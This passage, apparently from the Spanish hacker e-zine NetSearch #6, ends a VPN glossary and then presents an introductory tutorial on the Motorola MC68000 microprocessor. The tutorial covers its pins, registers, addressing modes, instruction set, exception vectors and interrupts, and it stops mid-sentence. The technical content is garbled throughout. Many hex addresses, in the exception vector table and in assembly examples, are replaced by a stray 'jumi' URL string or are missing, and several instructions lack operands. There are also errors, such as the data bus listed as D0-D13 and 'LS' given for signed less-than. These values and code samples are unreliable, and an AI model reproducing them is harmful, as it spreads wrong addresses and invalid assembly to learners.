cuadros (frames) como unidad de intercambio. Layer 3 (Capa 3): Capa de Red del Modelo OSI. Los protocolos de esta capa utilizan paquetes (packets) como unidad de intercambio. LCP (Link Control Protocol): Protocolo utilizado por PPP para iniciar, mantener y terminar una conexion. MD5: Algoritmo de resumen que genera una huella digital de 128 bits con base en una entrada determinada (mirate el RFC 1321). Modelo de Referencia OSI (Open Systems Interconnection Reference Model) Modelo que define las 7 capas en una red. NAS (Network Access Server): Servidor que le permite a un usuario remoto establecer una conexion con una red corporativa. Concepto muy similar a RAS (Remote Access Server). NetBEUI (NetBios Enhanced User Interface): Mejora del NetBIOS usado por algunos NOS tales como LAN Manager (IBM), Windoz (micro$oft). NOS (Network Operating System): Eso mismo :-P. PAP (Password Authentication Protocol): Protocolo de autenticacion utilizado por PPP, que consiste en identificar al usuario frente a un servidor, enviando solamente el user name y el password en texto simple. Point-to-Point Connection (Conexion punto-a-punto): Cualquier conexion en la que dos equipos remotos establecen un enlace. El mejor ejemplo es el tipico usuario que se conecta a Internet utilizando un modem telefonico. PPTP (Point-to-Point Tunneling Protocol): Protocolo Layer 2 que encapsula cuadros PPP en datagramas IP para ser transportados sobre una red IP. PPTP soporta compresion y cifrado. RADIUS (Remote Authentication Dial-In Service): Protocolo de autenticacion remota basado en UDP. Un servidor RADIUS puede estar localizado en cualquier parte de Internet y dar soporte de autenticacion a determinado NAS. Red Publica: Cualquier red en la que el acceso este disponible para cualquier usuario de cualquier parte del mundo. Por ejemplo, Internet. Spoofing: Tecnica de hacking que consiste en hacerse pasar por un un usuario legitimo manipulando una sesion. T1: Estandar de transmision a 1.544Mbps Tunel: Enlace logico por el cual se transmiten paquetes encapsulados durante una sesion VPN. Tunel obligatorio: Aquel donde el cliente tunel es un FEP (por ejemplo, un ISP) el cual actua como extremo del tunel. Un tunel de este tipo puede ser compartido por varios usuarios simultaneamente. Tunel voluntario: Aquel donde el cliente tunel es la propia computadora del usuario, la cual a su vez actua como extremo del tunel. Tunneling: Tecnica de transporte de paquetes o cuadros de determinado protocolo sobre una red de un protocolo diferente (o igual) mediante el encapsulado y desencapsulado de paquetes. UDP (User Datagram Protocolo): Protocolo de transporte sin conexiones que, a diferencia de otros, no requiere iniciar una conexion para enviar un datagrama. VPN (Virtual Private Network): Red Privada Virtual es una red montada logicamente sobre otra red utilizando tunneling. WAN (Wide Area Network): Una red constituida por la union de varias redes locales (LAN) por medio de enrutadores. Una WAN puede conectar varias LAN independientemente de su topologia de red (Ethernet, Token Ring, etc.) X.25: Tipo de WAN desarrollada por los años 70 formada por la conexion de dos o mas conmutadores de paquetes. 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x07 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Micro Motorola MC68000 ]-================================================ =-[ por MoebiuZ ]-=========================================================== ===== [ Introduccion ] Buenas. Esto pretende ser el primero de una serie de articulos (si es que veo interes y tengo tiempo) sobre Electronica Digital. Voy a intentar enfocarlo para que cualquiera pueda empezar en este tema. No obstante, dare por hecho ciertos conocimientos basicos sobre informatica (numeracion hexadecimal, binaria,...). Bien, la electronica digital es un tema muy amplio, por tanto esto sera algo asi como una guia basica a partir de la cual podreis investigar vosotros mismos y profundizar. Existen multitud de microprocesadores; yo voy a escribir sobre el MC68000 de Motorola, ya que es el que conozco y es un buen micro con el que aprender. Esta claro que despues utilizareis otros, pero sabiendo uno no tendreis problemas en aprender otros. Estoy hablando de micros, ya que en este articulo voy a empezar con la estructura y la programacion del micro. Decidi empezar por aqui porque creo que es lo mas interesante para empezar en electronica, ademas sera una buena guia de iniciacion a lenguaje ensamblador para la gente que no sabe utilizarlo Si veo que interesa, en otros articulos escribire sobre mapeo de memorias, circuiteria de seleccion,... En la web (http://mc68k.netsearch-ezine.com) podreis encontrar un simulador del MC68000 y un manual de funcionamiento con el que podreis compilar y simular los programas que hagais. Puede que os esteis preguntando cual es la aplicacion de todo el royo que vais a leer, sobre todo aplicado a los temas que os interesan. Programando un micro (en la practica, lo mas seguro es que programeis un PIC, que es un poco mas limitado que un micro, pero os llegara de sobra) y creando un circuito digital controlado por el, podeis hacer desde una calculadora hasta un selector entre multiples targetas SIM segun el PIN introducido, cerraduras controladas por una tarjeta EPROM, emuladores de... cualquier circuito que conozcais ;) Bueno, sin mas preambulos empiezo. ===== [ Indice ] 1. Introduccion HARDWARE 2. Propiedades hardware 3. Modelo de programacion 4. La Memoria SOFTWARE 5. Modos de Direccionamiento 6. Juego de instrucciones 7. Subrutinas 8. Excepciones 9. Interrupciones 10. Ejemplo practico ========== [ HARDWARE ] ===== [ Propiedades hardware ] -Bus interno: 16 bits -Unidad Aritmetico Logica (ALU) puede operar sobre 16 bits directamente -Registros internos de 32 bits (Datos y Direcciones) -La Entrada/Salida esta mapeada en memoria (Intel utiliza buses diferentes para entrada/salida) -Bus de datos: 16 bits -Bus de direcciones: 32 bits (pero solo utiliza las 24 lineas menos significativas) VCC | ___|_____________ | | _ GND |--| |---> A1 * | | | . | CLK ------| | . | Bus de direcciones _ | | . | Status | FC0 <---| |---> A23 - | FC1 <---| | _ - FC2 <---| |<--> D0 | _ | | . | | E <----| | . | Bus de datos Control | ___ | | . | de | VMA <---| |<--> D15 - perifericos | ___ | | __ _ - VPA --->| MC68000 |---> AS | | | _ | _ ____ | |---> R/W | | BERR -->| | ___ | Control Control | _____ | |---> UDS | bus asincrono del | RESET <-->| | ___ | sistema | ____ | |---> LDS | - HALT <-->| | _____ | | |<--- DTACK - | | | | __ _ | |<--- BR | | | __ | Gestion del | |---> BG | bus | | _____ | |_________________|<--- BGACK - ^ ^ ^ | | | | | | ____ ____ ____ IPL2 IPL1 IPL0 Entradas de interrupcion * Fisicamente solo hay 23 lineas de direccion. A0 se sustituye por ___ ___ UDS y LDS de una forma especial. [Nota:] Las lineas negadas (con una linea por encima) quieren decir que esa linea se activa con un "0" logico, en lugar de un "1". -=[ GND (Ground): Masa. -=[ CLK (Clock): Señal de reloj. -=[ D0-D13 (Data): Bus de datos. -=[ A1-A23 (Address): Bus de direcciones. -=[ AS# (Address Strobe): Validacion de direccion. -=[ R/W# (Read/Write): Control Lectura/Escritura. -=[ UDS# (Upper Data Strobe): Transferencia por los 8 bits altos del bus de datos. -=[ LDS# (Lower Data Strobe): Transferencia por los 8 bits bajos del bus de datos. -=[ DTACK# (Data Transfer Acknowledge): Indicador de transferencia completa. (la recibe del subsistema de memoria) -=[ IPL*# (Interrupt Priority Level): Entradas de peticion de interrupcion. Codifican un numero de 3 bits con el nivel de interrupcion. -=[ BERR# (Bus Error): Error en el subsistema de memoria o en E/S. -=[ RESET#: Es una linea bidireccional: De forma entrante inicializa el micro. De forma saliente fuerza la inicializacion del entorno. -=[ HALT#: Es bidireccional: Como entrada detiene la CPU. Como salida indica al subsistema que la CPU se ha detenido. -=[ BR# (Bus Request): Peticion de bus para DMA. -=[ BG# (Bus Grant): Concesion de bus. -=[ BGACK# (Bus Acknowledge): Reconocimiento de concesion. -=[ E: Salida de reloj para perifericos de la familia 68000. Frecuencia de 1/10 CLK -=[ VMA# (Valid Memory Address): Indica que el bus de direcciones contiene una direccion valida. -=[ VPA# (Valid Peripherial Address): Indica que la direccion pertenece a un periferico sincrono. -=[ FC* (Function Codes): Señales de status. ===== [ El Modelo de Programacion ] El MC68000 tiene dos modos de funcionamiento: -Modo Usuario: No se pueden ejecutar ciertas instrucciones y solo se accede al byte bajo del registro de estado. - 8 registros de Datos de 32 bits (D0-D7) - 7 registros de direcciones de 32 bits (A0-A6) - PC (Contador de programa) de 32 bits - SP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7) - SR (Registro de estado) 8 bits -Modo Supervisor: Se accede a todo el juego de instrucciones y a todos los registros. - 8 registros de Datos de 32 bits (D0-D7) - 7 registros de direcciones de 32 bits (A0-A6) - PC (Contador de programa) de 32 bits - SSP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7) - SR (Registro de estado) 16 bits [Nota:] Los registros de datos, direcciones y contador de programa son fisicamente los mismos para los dos modos. Los punteros de pila hay uno fisicamente para cada modo. El Registro de estado es fisicamente el mismo: El usuario solo utiliza el byte menos significativo, y el supervisor el registro entero. [Nota:] Los registros que almacenan direcciones (A*, Sp, CP) son de 32 bits pero solo utilizan los 24 bits menos significativos. [Nota:] Cuando vallamos a utilizar la pila en un programa (ya sea de usuario, para las subrutinas, o de supervisor para las interrupciones) es necesario inicializarla, sino el micro generara un error. La de usuario la podemos inicializar asi: MOVE #000,A7 La de supervisor: ORG {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}000 DC.L 000 -=[ Registro de Estados (SR): bit 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0 flag T # S # # I2 I1 I0 | # # # X N Z V C [Nota:] El byte mas significativo no es accesible por el modo usuario -=[ T (Trace): Si esta a "1" el micro funciona en modo traza (Paso a paso) -=[ S (Status): Si esta a "1" estamos en modo Supervisor Si esta a "0" estamos en modo Usuario -=[ I2 I1 I0 (Mascara de interrupcion): Si un periferico solicita una interrupcion, el nivel de prioridad debe ser superior al codificado por la mascara. -=[ X (Bit de Extension): Indica el acarreo en operaciones BCD -=[ N (Flag de Signo): Nos indica si la ultima operacion genero un numero negativo. -=[ Z (Flag de Zero): Indica que en la ultima operacion se obtuvo un 0. -=[ V (Flag de Overflow): Cuando esta a "1" indica que la ultima operacion genero un desbordamiento. -=[ C (Flag de Carry): Indica ke en la ultima operacion se genero un acarreo ===== [ La Memoria ] El 68000 utiliza el formato Big Endian para el almacenamiento de datos superiores al byte en memoria. Esto quiere decir que el byte mas significativo se almacena en posiciones de memoria bajas (cercanas al {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}000). {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}000 . . byte alto byte bajo . . $FFFFF La señal R/W# nos indica si vamos a leer o a escribir en memoria: R/W# Accion ------------------ 0 Escribir 1 Leer La señal AS# se envia al sistema de memoria para decir si la direccion que se ha puesto en el bus de direcciones es valida. AS# Indicacion ----------------------- 0 Direccion valida 1 Direccion no valida UDS# y LDS#: UDS# LDS# Acceso --------------------------------------------- 0 0 Tamaño palabra (16 bits) 0 1 Byte bajo 1 0 Byte alto 1 1 No hay acceso a memoria La señal DTACK# viene del sistema de memoria, e indica si se ha conseguido acceder con exito: DTACK# Indicacion -------------------------- 0 Se ha accedido 1 No se ha accedido ========== [ PROGRAMACION ] ===== [ Modos de direccionamiento ] Los modos de direccionamiento son los formas de indicar al micro donde encontrar un dato determinado, es decir, cual es su direccion efectiva (direccion fisica del dato). En el 68000 tenemos 13 modos de direccionamiento: -=[ Direccionamiento Implicito: No se necesita operando. Se refiere a un registro definido en la operacion. Ej: MOVE 345,CCR -=[ Direccionamiento Inmediato: Se expresa la direccion explicitamente en la operacion. Se utiliza el caracter # antes de la direccion. Ej: MOVE #F,D5 -=[ Direccionamiento Inmediato Rapido: Igual que antes, pero el valor es: Numero entre 1 y 8 para suma y resta. Numero entre -128 y 127 en instrucciones de movimiento de datos. Se añade el caracter Q al mnemonico y el # antes del numero. Ej: ADDQ #6,A0 -=[ Direccionamiento Absoluto Largo: El argumento es la direccion efectiva a la que se accede. Ej: MULS 022,D2 -=[ Direccionamiento Absoluto Corto: El argumento es una direccion de tamaño palabra (Word, 2 bytes) Si el valor esta entre {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}00-FFF accedemos a los 32k mas bajos de memoria. Si el valor esta entre 00-$FFFF accedemos a los 32k mas altos de memoria. Ej: EORI.B #$FF,00 -=[ Direccionamiento directo a registro: El operando es un registro interno, D* o A* Ej: SUB D1,A2 -=[ Direccionamiento Indirecto: El operando es una direccion de memoria intermedia, donde esta contenida la direccion efectiva. Esta direccion de memoria esta contenida en un registro de direccion. Ej: ASL.W (A3) -=[ Direccionamiento Indirecto con Postincremento: Igual que el anterior, pero despues de obtener el argumento el registro de direcciones se incrementa en un valor, segun el tamaño: .B (Byte): Se incrementa en 1 .W (Word): Se incrementa en 2 .L (LongWord): Se incrementa en 4 Se utiliza la representacion (A*)+ Ej: CMPM (A0)+,(A4)+ Esto es muy util para recorrer arrays y para actualizar el puntero de pila al sacar datos (El 68000 no tiene instruccion para eso) -=[ Direccionamiento Indirecto con Predecremento: Primero se decrementa el valor del registro de direcciones y luego se accede al dato. Ej: OR.B D3,-(A0) Se utiliza para introducir datos en pila. -=[ Direccionamiento Indirecto con Desplazamiento: La direccion efectiva se obtiene sumando un valor al contenido del registro de direcciones. El desplazamiento es un numero con signo de 16 bits. Ej: CHR (A4),D3 -=[ Direccionamiento Indirecto con Indice y Desplazamiento: La direccion efectiva se halla sumando 3 valores: - El contenido de un registro de direcciones. - Un desplazamiento de 8 bits. - Un registro de datos. Formato: desplazamiento(A*,D*.B|W|L) Ej: DIVU 8(A3,D7.L),D5 -=[ Direccionamiento Relativo con Desplazamiento: Igual que el de desplazamiento pero con el contador de programa. Ej: LEA 0(PC),A3 -=[ Direccionamiento Relativo con Indice y Desplazamiento Igual que el de indice y desplazamiento pero con el PC Ej: MOVE $B(PC,D1.L),D5 =====[ El juego de instrucciones ] Aqui va un extracto del juego de instrucciones. Es un juego sencillo, pero suficiente. [Nota:] Omitire ciertas instrucciones, puesto que este articulo esta pensado para aprender a programar un micro, no para profundizar en el 68000. Si estas interesado puedes buscar en la web el juego completo. <++> MC68K/instruciones.txt cedee15e6179a39959f231dda8260f2 JUEGO DE INSTRUCCIONES DEL MC68000 [Nota:] Este juego esta escrito resumidamente, y tiene el unico fin de aprender un poco a prorgamar el micro. Si se quiere utilizar con fines mas complejos, recomiendo que se busque las especificaciones completas de este codigo, ya que vendran mas extensamene comentadas. ==[ Comentarios Los comentarios comienzan por * o por ' y el ensamblador los ignora al generar el codigo. ==[ Representacion de datos: Dato Prefijo Ejemplo ------------------------------------------- Decimal Sin prefijo 63 Binario % %111111 Hexadecimal $ F ASCII ' ' 'NETSEARCH' ==[ Operaciones Estas operaciones pueden realizarse entre registros dentro de una instruccion. Por ejemplo: NETSEARCH EQU 20 EZINE EQU 30 MOVE #(NETSEARCH + EZINE / 2),D2 seria lo mismo que MOVE #25,D2 | OR logico ^ OR Exclusivo (aka XOR) & AND llogico + Suma de enteros - Resta de enteros * Multiplicacion de enteros / Division entera de enteros > Desplazamiento logico hacia la derecha < Desplazamiento logico hacia la izquierda + (prefijo) Signo positivo - (prefijo) Signo negativo ! Negacion logica () Parenesis sin limite de nivel ==[ Etiquetas: Se utilizan para demarcar determinada posicion, y se emplean sobretodo para las subrutinas. ==[ Extensiones: Se colocan en ciertas instrucciones. En instrucciones de manejo de datos: .B El operando es un byte .W El operando es una palabra (Por defecto para datos) .L El operando es una palabra larga (Por defecto para direcciones) En instrucciones de tipo branch (ramificacion): .S Desplazamiento corto (8 bits) .L Desplazamiento largo (16 bits) ==[ Directivas o pseudoinstrucciones (Se ponen en el codigo fuente, pero solo los emplea el compilador, no generan codigo) - ABSOLUTE -------- Indica que el codigo que se generara es absoluto (las referencias a posiciones de memoria). El codigo absoluto solo se ejecutara correctamente si se encuentra en las posiciones de memoria para las que ha sido ensamblado. - RELATIVE -------- Modo por defecto. Las referencias a posiciones de memoria seran relativas al Contador de programa (PC) - ORG (ORIGIN) ------------ ORG expresion Indica la posicion de memoria a partir de la cual se coloca el codigo que se genere a continuacion. En codigo absoluto puede aparecer 20 veces, y en relativo solo 1. Ej: ORG 000 - END --- Debe aparecer al final del programa. El codigo escrito a continuacion se ignorara. - DC -- DC.B expresion,expresion,... DC.W expresion,expresion,... DC.L expresion,expresion,... Inicializa espacio en memoria. Ej: DC.W 000 DC.L 'HOLA',{jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]} - DS -- DS.B|W|L expresion Reserva tantos bytes|words|longword como se ponga en expresion. Ej: DS.W 2 ----> DC.W 0,0 - EQU --- etiqueta EQU expresion Asigna el valor de la expresion a una etiqueta. Ej: NUMERO EQU 0 Existen mas, pero las omito. ==[ Instrucciones de transferencia de datos - MOVE ---- MOVE.B|W|L origen, destino Transfiere datos del origen al destino. Ej: MOVE #,D3 - MOVEA ----- MOVEA origen,A* Transfiere una direccion. Ej: MOVEA ,A2 - MOVEM ----- MOVEM.W|L lista de registros,destino o MOVEM.W|L origen,lista de registros Transfiere multiples registros. - MOVEQ ----- MOVEQ #n,D* Transferencia rapida a registro de datos. n es un numero de 8 bits en complemento a 2. - MOVEP ----- MOVEP.W|L O(A2),D* o MOVEP.W|L D*,O(A2) Transferencia a perifericos. ==[ Instrucciones de intercamibo - EXG (Exchange) --- EXG expresion, expresion Permite intercambiar dos registros (de direcciones, de datos o uno con otro) - SWAP ---- SWAP D* Intercambia las dos mitades de un registro de datos. ==[ Instrucciones de manejo de direcciones efectivas - LEA (Load Effective Address) --- LEA fuente,A* Carga en un registro de direcciones la direccion efectiva del operando. - PEA (Push Effective Address) --- Igual que el anterior, pero guarda la direccion efectiva en la pila. ==[ Instrucciones de suma - ADD --- ADD.B|W|L origen,destino Suma binaria. Uno de los dos operandos ha de ser un registro de datos. Ej: ADD #F,D3 - ADDA ---- ADDA.B|W|L fuente,A* Suma de direccion. Ej: ADDA.W #,A2 - ADDI ---- ADDI.B|W|L #n,destino Suma inmediata. - ADDQ ---- ADDQ.B|W|L #n,destino Suma rapida. 1 <= n <= 8 - ADDX ---- ADDX.B|W|L origen,destino Suma extendida. origen + destino + X = destino X es el flag extendido del registro de estados ==[ Instrucciones de Resta - SUB --- SUB.B|W|L origen,destino Resta binaria. - SUBA ---- SUB.B|W|L origen,A* Resta de direcciones. - SUBI ---- SUBI.B|W|L #n,destino Resta inmediata. - SUBQ ---- SUBQ.B|W|L #n,destino Resta rapida. - SUBX ---- SUBX.B|W|L origen,destino Resta extendida. ==[ Instrucciones de negacion - NEG --- NEG.B|W|L operando Niega el operando. - NEGX ---- NEGX.B|W|L operando Negacion con extension. ==[ Instrucciones de multiplicacion - MULS ---- MULS.W operando,D* Multiplicacion con signo. Los operandos son de 16 bits y el resultado de 32 bits. - MULU ---- MULU.W operando,D* Multiplicacion sin signo. El resultado es de 32 bits. ==[ Instrucciones de division - DIVS ---- DIVS.W operando,D* Division con signo. El la palabra mas significativa del resultado es el resto, y la menos significativa el cociente. - DIVU ---- DIVU.W operando,D* Division sin signo. ==[ Instrucciones de comparacion - CMP --- CMP.B|W|L operando,D* Compara registros de datos. - CMPA ---- CMPA.B|W|L operando,D* Comparacion inmediata. - CMPM ---- CMPM.B|W|L (A*)+,(A*)+ Comparacion de posiciones de memoria. ==[ Instrucciones de extension de signo - EXT --- EXT.W|L D* Extiende el bit de signo del operando. ==[Instruccion de puesta a cero - CLR (Clear) --- CLR.B|W|L operando Pone a 0 el operando. ==[ Testeo de operandos - TST --- TST.B|W|L operando Compara 0 con el operando. - TAS --- TAS.B operando Comprueba operando y pone a 1 su bit de signo. ==[ Instrucciones de aritmetica BCD - ABCD ---- ABCD.B|W|L fuente,destino Suma en codigo BCD con extension. - SBCD ---- SBCD.B|W|L fuente,destino Resta BCD con extension. - NBCD ---- NBCD.B|W|L operando Negacion en BCD con extension. ==[ Instrucciones logicas - AND --- AND.B|W|L fuente,destino Realiza un Y logico entre los operandos. - ANDI ---- ANDI.B|W|L #n,operando Y logico inmediato. #n es un numero decimal entre 1 y 8. - OR -- OR.B|W|L origen,destino Realiza un O logico. - ORI --- ORI.B|W|L #n,destino O logico inmediato. - NOT --- NOT.B|W|L operando Negacion logica. - EOR --- EOR.B|W|L D*,destino Realiza un O exclusivo (aka XOR) - EORI ---- EORI.B|W|L #n,destino O exclusivo inmediato. ==[ Instrucciones de chequeo de bits - BTST ---- BTST #n,destino o BTST D*,destino Comprobamos un bit y reflejamos el estado de ese bit en el flag Z del registro de estados. #n es el bit a comprobar. - BCLR ---- BCLR #n,destino o BCLR D*,destino Comprueba el bit indicado y refleja el contenido en Z. Despues pone a 0 ese bit. - BSET ---- BSET #n,destino o BSET D*,destino Comprueba, actualiza Z y pone a 1 el bit. - BCHG ---- BCHG #n,destino o BCHG D*,destino Comprueba, actualiza Z e invierte el valor del bit. ==[ Instrucciones de desplazamiento y rotacion - LSL --- LSL.B|W|L Di,Dj desp = Di mod 64 LSL.B|W|L #n,D* desp = #n LSL destino desp = 1 Desplaza hacia la izquierda los bits tantas veces como desp. C <-- bit|bit|bit| ... |bit|bit|bit <-- 0 | X <-- - LSR --- LSR.B|W|L Di,Dj desp = Di mod 64 LSR.B|W|L #n,D* desp = #n LSR destino desp = 1 Desplaza hacia la derecha los bits tantas veces como desp. 0 --> bit|bit|bit| ... |bit|bit|bit --> C | --> X - ASL --- ASL.B|W|L Di,Dj desp = Di mod 64 ASL.B|W|L #n,D* desp = #n ASL destino desp = 1 Desplazamiento aritmetico hacia la izquierda. El flag V (overflow) se pone a 1 si el bit mas significativo cambia en algun momento. - ASR --- ASR.B|W|L Di,Dj desp = Di mod 64 ASR.B|W|L #n,D* desp = #n ASR destino desp = 1 Desplazamiento aritmetico hacia la derecha. El flag V (overflow) se pone a 1 si el bit menos significativo cambia en algun momento. - ROL --- ROL.B|W|L Di,Dj desp = Di mod 64 ROL.B|W|L #n,D* desp = #n ROL destino desp = 1 Rotacion hacia la izquierda. ________________________________ | | C <-- bit|bit|bit|...|bit|bit|bit <-- - ROR --- ROR.B|W|L Di,Dj desp = Di mod 64 ROR.B|W|L #n,D* desp = #n ROR destino desp = 1 Rotacion hacia la derecha. ________________________________ | | --> bit|bit|bit|...|bit|bit|bit --> C - ROXL ---- ROXL.B|W|L Di,Dj desp = Di mod 64 ROXL.B|W|L #n,D* desp = #n ROXL destino desp = 1 Rotacion a izquierda con extension. ______________________________________ | | C <-- bit|bit|bit|...|bit|bit|bit <-- X <-- - ROXR ---- ROXR.B|W|L Di,Dj desp = Di mod 64 ROXR.B|W|L #n,D* desp = #n ROXR destino desp = 1 Rotacion a derecha con extension. _____________________________________ | | -- X --> bit|bit|bit|...|bit|bit|bit --> C ==[ Instrucciones de control de programa (Saltos) incondicionales - BRA (Branch) --- BRA etiqueta Ramificacion incondicional (Salto de 8 o 16 bits relativo a PC) El PC apunta ahora a la direccion de etiqueta. - BSR (Branch SubRoutine) --- BSR etiqueta Ramificacion a subrutina. (Llamada a subrutina con esa etiqueta) Guarda el PC en la pila y cambia el PC a la dir. de etiqueta. 8 o 16 bits relativo a PC. - JMP (Jump) --- JMP destino Salto. (Direccionamiento absoluto) El PC se pone la dir. de etiqueta. - JSR (Jump SubRoutine) --- JSR destino Salto a subrutina. Guarda el PC en pila y cambia PC por la dir. destino. Direccionamiento absoluto. - RTS (Return SubRoutine) --- RTS Retorno de subrutina. Recupera el PC de la pila (Volvemos al punto donde se llamo la subrutina) - RTR --- RTR Retorno de subrutina y reposicion de los codigos de condicion. ==[ Saltos condicionales cc: Condiciones base. Se colocan como sufijo a la instruccion condicional. Aritmetica con signo GT (Greater Than) si > LS (Less Than) si < GE (Greater or Equal) si >= LE (Less or Equal) si =< VS (Overflow) si overflow VC (No overflow) si no overflow PL (Plus) si positivo MI (Minus) si negativo Aritmetica sin signo HI (Higher) si mayor CS (Carry Set) si menor CC (Carry Clear) si mayor o igual LS (Low or Same) si menor o igual EQ (Equal) si igual NE (Not Equal) si distinto T (True) si cierto F (False) si falso - Bcc (Branch if ...) --- Bcc etiqueta Si se cumple cc salta a etiqueta (etiqueta --> PC) Direccion relativa a PC(8 o 16 bits) - DBcc ---- DBcc D*,etiqueta Decrementar y ramificar. Mientras cc se cumple no se hace nada. Si cc no se cumple, se decrementa el registro D*. Mientras D* es distinto de -1, se salta a etiqueta. - Scc (Set) --- Scc destino Pone destino a 1 si la condicion se cumple o a 0 si no. El destino sera un byte. ==[ Instruccion de no operacion - NOP --- NOP No hace nada. Solo cunsume tiempo de reloj (4 ciclos). Es util para generar retrasos, reservas de espacio para futuras instrucciones o para substituir instrucciones sobrantes sin tener que modificar el resto del programa. ==[ INSTRUCCIONES PRIVILEGIADAS Las instrucciones privilegiadas solo son accesibles en modo supervisor. Estas instrucciones son muchas de las anteriores pero aplicadas a los registros SR (Registro de estado), CCR (Registro de Codigos de Condicion) y USP (Puntero de Pila de Usuario). Ademas, tenemos estas otras: - RESET ----- RESET Activa la linea de reset o produce una excepcion (el micro no se reinicializa). - RTE (Return of Exception) --- RTE Retorna de una interrupcion, restaurando SR y PC - STOP ---- STOP #n Se pone #n en SR y se para la ejecucion. Para reanudar la ejecucion es necesaria una interrupcion. - CHK (Check) --- CHK origen,D* Compara un registro con unos limites. D* < 0 o D* > origen Si fuera de esos limites, se genera una interrupcion 6 (Tipo trampa) - TRAP (Trampa) ---- TRAP #n Se genera una interrupcion trampa. #n esta entre 0 y 15, segun la prioridad. - TRAPV ----- TRAPV Se genera una excepcion de tipo trampa de orden 7 si el flag V (Overflow) esta a 1. <--> ===== [ Subrutinas ] A veces hay operaciones que se repiten durante un programa, y habria que reescribir todo el codigo de nuevo, con el consiguiente gasto de memoria y el engorro de reescribirlo. Para evitar esto se crean subrutinas, que son pedazos de codigo que podemos llamar mediante instrucciones de salto o ramificacion. Fisicamente, en memoria solo esta una vez, pero puede utilizarse cuantas veces sea necesario. El funcionamiento basico de una subrutina es el siguiente: Al llegar a una llamada a subrutina, se guarda en la pila la direccion a la que apunta ese momento el PC (Contador de programa). Entonces actualizamos el PC con la direccion de comienzo de la subrutina. Una vez termina la subrutina (Con la instruccion RTS o RTR), se recupera de la pila la direccion del PC y continuaremos en la siguiente instruccion a la llamada de la subrutina. ===== [ Excepciones ] Las excepciones son acontecimientos, internos o externos al micro, que hacen que se interrumpa la ejecucion para realizar una subrutina de atencion a esa excepcion. Estas excepciones pueden ser: Errores hardware Errores intenos Reset Ejecucion paso a paso Interrupciones hardware Interrupciones software Cada excepcion tiene asociada una direccion de memoria donde se encuentra su vector de excepcion. Ese vector contiene la direccion de comienzo de la rutina de excepcion. <++> MC68K/excepciones.txt 6c039a486db7b11fec58023245017b TABLA DE LOS VECTORES DE EXCEPCION DEL MC68000 [Nota:] El reset ocupa 2 vectores de excepcion Numero vector Direccion Asignacion ----------------------------------------------------------------------------- 0 {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}0 Reset: SSP (Punt. de pila supervisor) inicial. - {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}4 Reset: PC inicial. 2 {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}8 Error de bus. 3 {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}C Error de direccion. 4 jumi0 Instruccion ilegal. 5 jumi4 Division por cero. 6 jumi8 Instruccion CHK. 7 jumiC Instruccion TRAP. 8 [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]0 Violacion de privilegio. 9 [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]4 Traza. 10 [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]8 Instruccion emulada 1010. 11 [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]C Instruccion emulada 1111. 12 0 No asignado. Reservado. 13 4 No asignado. Reservado. 14 8 No asignado. Reservado. 15 C Vector de interrupcion no inicializado. 6-23 4-C No asignado. Reservado. 24 0 Interrupcion espurea (Especie de timeout). 25 4 Autovector de Interrupcion de nivel 1 (IRQ1). 26 8 Autovector de Interrupcion de nivel 2 (IRQ2). 27 C Autovector de Interrupcion de nivel 3 (IRQ3). 28 0 Autovector de Interrupcion de nivel 4 (IRQ4). 29 4 Autovector de Interrupcion de nivel 5 (IRQ5). 30 8 Autovector de Interrupcion de nivel 6 (IRQ6). 31 C Autovector de Interrupcion de nivel 7 (IRQ7). 32-47 0-{jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}BC Vectores de la instruccion TRAP (1-15). 48-63 {jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}C0-{jumi [*3] [http://www.govannom.org/e-zines/netsearch/ns06.txt]}FC No asignado. Reservado. 64-255 0-FC Vectores de interrupcion de usuario. Direccion de excepcion = Numero de vector x 4 <--> ===== [ Interrupciones ] Las interrupciones son el mecanismo basico de sincronizacion del micro con dispositivos externos. Quiza sean una de las cosas mas importantes en un micro. ____ ____ ____ Pueden ser generadas por hardware, a traves de las lineas IPL2 IPL1 e IPL0 o por software, mediante las instrucciones TRAP. Existe tambien una interrupcion especial llamada Interrupcion Espurea, que sirve para evitar esperas infinitas cuando el micro lleva mucho tiempo esperando (por ejemplo, se activa una IRQ por ruido, pero realmente nadie pide la interrupcion). Una interrupcion funciona basicamente igual que una subrutina, con la diferencia de que se trabaja en modo supervisor (y por tanto, tambien utilizamos la pila de supervisor (SSP). -=[ Mecanismo de solicitud En las lineas de interrupcion se codifica el nivel de prioridad de la interrupcion. Se utilizan los 7 Autovectores (ya que estamos hablando de una interrupcion generada externamente, por un periferico, por ejemplo). ____ ____ ____ IPL2 IPL1 IPL0 Nivel de prioridad ------------------------------------------------------------ 0 0 0 7 (Maxima, no enmascarable) 0 0 1 6 0 1 0 5 0 1 1 4 1 0 0 3 1 0 1 2 1 1 0 1 (Minima) 1 1 1 No se solicita interrupcion [Nota:] Como vemos, son lineas que se activan a nivel bajo (es decir, con un 0). Se suele utilizar un codificador para generar estos codigos a partir de las 7 IRQ, pero eso ya lo veremos en proximos articulos. -=[ Enmascaramiento El enmascaramiento nos sirve para controlar si cuando se activa una interrupcion y ya esta otra en ejecucion se debe parar la primera o no. Esto se hace con la mascara de interrupcion, codificada en el byte alto del registro de estado, como hemos visto anteriormente. Esta mascara se actualiza cuando se genera una interrupcion, y si 